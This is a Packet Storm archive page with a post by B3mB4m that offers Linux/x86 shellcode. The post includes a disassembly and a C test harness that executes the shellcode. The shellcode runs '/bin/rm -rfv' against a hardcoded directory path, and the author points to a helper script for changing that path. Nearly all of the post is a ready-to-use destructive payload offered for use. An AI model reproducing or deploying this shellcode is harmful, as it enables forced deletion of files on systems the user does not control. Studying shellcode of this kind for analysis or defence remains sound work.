what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Linux/x86 Forced rmdir Shellcode

Linux/x86 Forced rmdir Shellcode
Posted Jun 26, 2015
Authored by B3mB4m

Linux/x86 forced rmdir shellcode.

tags | x86, shellcode
systems | linux
SHA-256 | 469f7ff5f741fdd0315a04ed6f346abbcb0f53af634b84d8f389271376f8674e

Linux/x86 Forced rmdir Shellcode

Change Mirror Download
Linux/x86 Force-rmdir

--- WE ARE BOMBERMANS ---
#Greetz : Bomberman(Leader)
#Author : B3mB4m
#Bomberman's owned this section BACK OFF !

/*Shellcode length depend file path.*/


#https://github.com/b3mb4m/Shellcode/blob/master/Auxiliary/convertstack.py
#Use my own stack converter that's will help you ;)


Disassembly of section .text:

08048060 <.text>:
8048060: 31 c0 xor %eax,%eax
8048062: 50 push %eax
8048063: 68 6e 2f 72 6d push $0x6d722f6e
8048068: 68 2f 2f 62 69 push $0x69622f2f
804806d: 89 e3 mov %esp,%ebx
804806f: 50 push %eax
8048070: 68 2d 72 66 76 push $0x7666722d
8048075: 89 e1 mov %esp,%ecx
8048077: 50 push %eax
8048078: 68 bc 2f 71 65 push $0x65712fbc
804807d: 68 bc 73 74 c3 push $0xc37473bc
8048082: 68 61 73 61 c3 push $0xc3617361 ;File path
8048087: 68 34 6d 2f 4d push $0x4d2f6d34 ;Change it with converstack.py
804808c: 68 62 33 6d 62 push $0x626d3362
8048091: 68 6f 6d 65 2f push $0x2f656d6f
8048096: 68 2f 2f 2f 68 push $0x682f2f2f
804809b: 89 e2 mov %esp,%edx
804809d: 50 push %eax
804809e: 52 push %edx
804809f: 51 push %ecx
80480a0: 53 push %ebx
80480a1: 89 e7 mov %esp,%edi
80480a3: b0 0b mov $0xb,%al
80480a5: 89 f9 mov %edi,%ecx
80480a7: 31 d2 xor %edx,%edx
80480a9: cd 80 int $0x80


#include <stdio.h>
#include <string.h>



char *shellcode = "\x31\xc0\x50\x68\x6e\x2f\x72\x6d\x68\x2f\x2f\x62"
"\x69\x89\xe3\x50\x68\x2d\x72\x66\x76\x89\xe1\x50\x68\xbc\x2f\x71\x65"
"\x68\xbc\x73\x74\xc3\x68\x61\x73\x61\xc3\x68\x34\x6d\x2f\x4d\x68\x62"
"\x33\x6d\x62\x68\x6f\x6d\x65\x2f\x68\x2f\x2f\x2f\x68\x89\xe2\x50\x52"
"\x51\x53\x89\xe7\xb0\x0b\x89\xf9\x31\xd2\xcd\x80";


int main(void){
fprintf(stdout,"Length: %d\n",strlen(shellcode));
(*(void(*)()) shellcode)();
}
Login or Register to add favorites

File Archive:

January 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    0 Files
  • 2
    Jan 2nd
    13 Files
  • 3
    Jan 3rd
    5 Files
  • 4
    Jan 4th
    5 Files
  • 5
    Jan 5th
    9 Files
  • 6
    Jan 6th
    5 Files
  • 7
    Jan 7th
    0 Files
  • 8
    Jan 8th
    0 Files
  • 9
    Jan 9th
    18 Files
  • 10
    Jan 10th
    31 Files
  • 11
    Jan 11th
    30 Files
  • 12
    Jan 12th
    33 Files
  • 13
    Jan 13th
    25 Files
  • 14
    Jan 14th
    0 Files
  • 15
    Jan 15th
    0 Files
  • 16
    Jan 16th
    7 Files
  • 17
    Jan 17th
    25 Files
  • 18
    Jan 18th
    38 Files
  • 19
    Jan 19th
    6 Files
  • 20
    Jan 20th
    21 Files
  • 21
    Jan 21st
    0 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    24 Files
  • 24
    Jan 24th
    68 Files
  • 25
    Jan 25th
    22 Files
  • 26
    Jan 26th
    20 Files
  • 27
    Jan 27th
    17 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    0 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close